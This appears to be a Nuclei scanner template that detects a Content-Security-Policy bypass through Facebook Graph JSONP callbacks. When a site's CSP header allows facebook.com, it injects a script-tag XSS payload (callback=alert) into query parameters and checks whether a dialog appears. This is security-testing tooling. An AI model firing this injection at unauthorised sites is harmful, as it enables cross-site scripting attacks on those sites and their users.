id: facebook-graph-csp-bypass

info:
  name: Content-Security-Policy Bypass - Facebook Graph
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,facebook-graph,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "facebook.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: facebook_graph_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://graph.facebook.com/?id=1337&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "facebook_graph_csp_xss == true"
# digest: 4b0a00483046022100a04c5cbdddb7a22ed8368a1d8f1385efef720389f96888e9be868cb6b6947024022100b561bd1609bc55a55c62dc9b81cadbeeb94411aa0924659a79753dca6fd5a68d:922c64590222798bb761d5b6d8e72950